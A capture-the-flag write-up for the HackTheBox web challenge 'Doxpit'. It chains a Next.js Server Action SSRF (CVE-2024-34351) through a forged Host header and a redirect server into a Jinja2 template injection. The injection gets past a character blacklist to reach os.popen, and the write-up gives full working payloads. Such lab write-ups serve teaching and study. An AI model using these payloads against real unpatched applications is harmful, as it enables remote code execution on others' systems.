pwneglyph logo
web web-server web-client nextjs server-actions ssrf cve-2024-34351 host-header redirect flask jinja2 ssti template-injection filter-bypass blacklist-bypass rce

A Next.js redirect() Server Action trusts the Host header (CVE-2024-34351), so a forged Host + attacker redirect server turns the app into an SSRF proxy onto the internal AV service on localhost:3000. That Flask app feeds ?directory= into render_template_string with a brutal blacklist (no _ . [ ] {{ }} x \\); rebuild __globals__→__builtins__→__import__('os').popen via {% %} blocks, request|attr(), and GET params smuggling the banned strings.

Doxpit — Next.js Server-Action SSRF (CVE-2024-34351) → Jinja2 SSTI RCE

Platform: HackTheBox · Category: Web (server-side) · Stack: Next.js 14 front-end (public) + internal Flask "AV scanner" on localhost:3000

Challenge overview

A doxbin clone. The public app is Next.js; an internal Flask "antivirus scanner" runs on 127.0.0.1:3000 and is where the real bug lives. The flag has a randomized name (flag<rand>.txt at /), so we need RCE. Two stages: SSRF to reach the internal app, then SSTI inside it.

Step 1 — SSRF into the internal app (CVE-2024-34351)

The front-end has a Server Action that calls redirect():

"use server";
import { redirect } from "next/navigation";
export async function doRedirect() { redirect("/error"); }

Next.js < 14.1.1 builds the absolute URL for an action redirect from the Host/Origin headers (CVE-2024-34351). During SSR the server fetches that URL and returns the body to us — a full SSRF proxy. To steer it onto localhost:3000 we point Host at our own server and have it answer the follow-up with a 302 to the internal target:

# ssrf_server.py — HEAD returns text/x-component, everything else 302s to the internal app
@app.route('/<path:path>')
def catch(path):
    if request.method == 'HEAD':
        return Response("", headers={'Content-Type': 'text/x-component'})
    return redirect('https://0.0.0.0:3000')   # internal AV app

Send the Server-Action POST with Host/Origin = your redirect server and the challenge's Next-Action id. Next.js HEADs then GETs your server, follows the 302 to localhost:3000, and hands the internal response back to you — so you can register/login and drive the AV app through the proxy.

Step 2 — Jinja2 SSTI behind a savage blacklist

The AV app scans a user-supplied directory and stuffs it into render_template_string:

invalid_chars = ["{{", "}}", ".", "_", "[", "]", "\\", "x"]
...
if any(char in directory for char in invalid_chars): abort(400)
template_content = template_content.replace("{{ results.scanned_directory }}", results["scanned_directory"])
return render_template_string(template_content, results=results)   # SSTI sink

{{ }} is banned but {% %} statement blocks are not, and print() works:

?directory={%print(7*7)%}   ->  49

The blacklist kills _, ., [, ], x, \. Bypass it with request|attr(...) and by smuggling the banned identifier strings through other GET parameters (request.args), which aren't filtered:

?directory={%print(request|attr('args'))%}&globals=__globals__   # the literal "__globals__" lives in args, not in `directory`

Walk application(=wsgi app).__globals__['__builtins__']['__import__']('os').popen(cmd).read() using with + attr + args.get:

{%with output =
   request|attr('application')
          |attr(request|attr('args')|attr('get')('globals'))      # __globals__
          |attr('get')(request|attr('args')|attr('get')('builtins'))  # __builtins__
          |attr('get')(request|attr('args')|attr('get')('import'))('os')  # __import__('os')
          |attr('popen')(request|attr('args')|attr('get')('cmd'))
          |attr('read')()
%}{%print(output)%}{%endwith%}
&globals=__globals__&builtins=__builtins__&import=__import__&cmd=cat /flag<rand>.txt

This is just {{ request.application.__globals__['__builtins__']['__import__']('os').popen(cmd).read() }} re-expressed without any blacklisted character. (os|attr('popen')('id')getattr(os,'popen')('id').)

Flag: HTB{1t5_n0t_ju5t_4_fr0nt-3nd!}

Takeaways (generalized techniques)

  • Next.js Server-Action SSRF (CVE-2024-34351): pre-14.1.1, the redirect URL for a Server Action is derived from Host/Origin. Forge those to your server, answer the SSR fetch with a 302 to an internal target, and the app proxies the internal response back to you. Watch for the preflight HEAD (it expects Content-Type: text/x-component).
  • Jinja2 SSTI with {{ }} and _/. blocked: use {% ... %} blocks ({%print(...)%}, {%with%}), reach attributes with the attr filter, and smuggle banned literal strings via other request parameters (request.args.get('x')) so the forbidden characters never appear in the filtered field. Canonical RCE goal: request.application.__globals__['__builtins__']['__import__']('os').popen.
  • Two-app challenges: a hardened public front-end often just guards a soft internal service; the bug is "reach the internal app," then exploit it normally.

Sources & references